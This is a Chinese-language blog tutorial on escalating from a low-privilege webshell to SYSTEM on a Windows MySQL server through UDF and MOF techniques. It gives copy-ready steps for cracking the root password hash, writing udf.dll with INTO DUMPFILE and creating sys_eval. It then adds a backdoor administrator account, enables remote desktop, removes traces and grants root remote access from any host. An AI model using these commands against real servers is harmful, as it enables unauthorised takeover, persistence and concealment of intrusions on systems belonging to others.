實驗環境:windows下已獲得低權限的webshell(apache服務不使用phpstudy運行),mysql版本為5.5.29
如果版本號>5.1.4 上傳udf的位置應該放在mysql\lib\plugin(如果不存在目錄 自己新建一個),如果版本<5.1 上傳udf的位置應該放在c:\windows目錄或者c:\windows\windows32下,拋棄win2000等特殊情況
0x00 提權條件
1.必須是root權限(需要創建和拋棄自定義函式)
2.secure_file_priv=(必須為空,secure_file_priv為null或者為/tmp/都不行,因為它需要在指定的位置寫入udf檔案)
0x01 資料庫密碼獲取
使用菜刀連接webshell,執行whoami為user的普通權限,執行net user添加用戶拒絕訪問,需要提權做后滲透,由于演示這里選擇mysql的udf提權

該系統使用了mysql資料庫,可以嘗試mysql的udf提權和mof,先嘗試udf,而提權需要找到資料庫的密碼,
獲取對方的mysql資料庫下的root賬號密碼四種方法:(①查看網站原始碼里面的資料庫組態檔inc,conn,config,sql,commin,data等 ②爆破3306埠 ③查看資料庫安裝路徑下的user.myd 在/data/mysql/ ④存在sql注入的情況下可以獲取資料庫密碼hash值解密)
這里我只講③和④,③實際情況有時候往往找不到資料庫的組態檔或者被加密了,這個時候可以嘗試尋找資料庫的user.MYD檔案,里面存的是用戶的密碼的hash值,獲取了以后可以通過cmd5或者其他途徑進行查找,它默認在mysql安裝目錄\data\mysql\下面,找到user.myd復制一份出來,

使用ultraEdit文本編輯器進行打開,獲得hash值81F5E21E35407D884A6CD4A731AEBFB6AF209E1B,并且通過cmd5等解密網站碰撞得到明文root


④假設存在注入,資料庫的賬號密碼資訊存在mysql.user表下,通過sql陳述句查詢即可獲得hash密文拿去在線網站碰撞即可,select host,user,password from mysql.user

0x02 上傳udf檔案
找到了資料庫的密碼,可以通過遠程登錄資料庫,phpmyadmin服務登錄,webshell管理工具登錄等(這里使用最后一種方式演示)

執行show variables like 'secure_file_priv'; 結果為空證明可寫入

SELECT @@version%,查看資料庫版本,果版本號>5.1.4 上傳udf的位置應該放在mysql\lib\plugin【如果不存在目錄 自己新建一個】,如果版本小于5.1 上傳udf的位置應該放在c盤的windows目錄下,win2000則放在C:\winnt\udf.dll 下
SHOW VARIABLES LIKE 'basedir',查看該路徑下的lib\plugin目錄是否存在,如果沒有則創建
SHOW VARIABLES LIKE '%compile%',查看是64位還是32位的dll檔案
如果沒有lib和plugin檔案夾,可以在webshell下直接手動創建兩個檔案夾,下面兩句命令也可以ADS檔案流形式創建兩個檔案夾
select 'aaa' into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib::$INDEX_ALLOCATION';
select 'udfdll' into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin::$INDEX_ALLOCATION'
這里我直接把udf.dll檔案上傳到這個lib\plugin目錄下,關于udf.dll檔案在哪獲取,讀者可以在sqlmap或者msf里面獲取,具體操作自行百度,篇章有限,我是使用sqlmap里面的檔案

上傳udf的另一種思路,先把dll檔案上傳至網站的某個目錄下,使用16進制編碼udf檔案,將網站根目錄的lib_mysqludf_sys.dll檔案以轉換為16進制的lib_mysqludf_sys.txt檔案,再將txt里面的16進制內容通過select 0x十六進制payload into dunpfile 'xxxxx\\udf.dll'里面
select hex(load_file('C:\\phpstudy_pro\\WWW\\\lib_mysqludf_sys.dll')) into dumpfile 'C:\\phpstudy_pro\\WWW\\\lib_mysqludf_sys.txt';
select 0x.... into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin\\udf.dll';
0x03 udf檔案利用
create function sys_eval returns string soname 'udf.dll'; # 使用udf.dll創建惡意函式sys_eval,函式可以打開sqlmapudf.dll最下面查看,這里我們選擇sys_eval即可

select sys_eval('whoami'); # 執行查看當前權限,不出意外為system
select sys_eval('net user udfadmin 123 /add && net localgroup administrators udfadmin /add') #創建一個管理員賬號密碼為udfadmin/123
drop function sys_eval; #銷毀函式,簡單痕跡清除
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 # 開啟遠程桌面,登錄udfadmin用戶
0x04 使用udf腳本
一氣呵成,直接上傳到一個可讀可執行的目錄(這里使用暗師傅的腳本),輸入賬號密碼,點兩下滑鼠完成操作


0x05 udf提權—Linux
linux環境下的UDF提權大概率僅限于靶場環境中,原因:在Linux嚴格的系統權限下,mysql用戶或web用戶無plugin目錄的寫入權限,
linux環境下的udf提權除利用條件外與Windows環境下完全相同,利用條件:除windows中的內容外,還需要plugin目錄的寫入權限,
0x06 mof提權
利用了c:/windows/system32/wbem/mof/目錄下的 nullevt.mof 檔案,每分鐘都會在一個特定的時間去執行一次的特性,來寫入我們的cmd命令使其被帶入執行,使用MOF提權的前提是當前root賬戶可以復制檔案到%SystemRoot%\System32\Wbem\MOF目錄下
第一種方法—上傳php腳本檔案(跟0x04這類大佬寫好的腳本檔案),輸入相關資訊,執行命令,提權
第二種方法—上傳x.mof(普通的mof檔案),使用select命令匯出入到正確位置,select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof',直接net user
允許外部地址使用root用戶連接sql陳述句—Grant all privileges on *.* to 'root'@'%' identified by 'root' with grant option;
0x07 遇到的一些坑
ERROR 1125 (HY000): Function 'sys_eval' already exists
提示sys_eval 函式已經存在,可能已經被利用過了,嘗試直接呼叫函式,或者嘗試將udf提權相關的利用函式進行洗掉后重新創建,再不行重啟mysqld服務器再創建
ERROR 1126 (HY000): Can't open shared library 'udf.dll' (errno: 193 )
在進行udf提權時碰到這個錯誤一般是ufd檔案位數選擇錯誤,嘗試另一個位數的udf檔案,
Can't open shared library 'udf.dll' (errno: 5 )
至今未解決
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/470620.html
標籤:其他
上一篇:交換機及路由基礎
下一篇:今日小隨筆
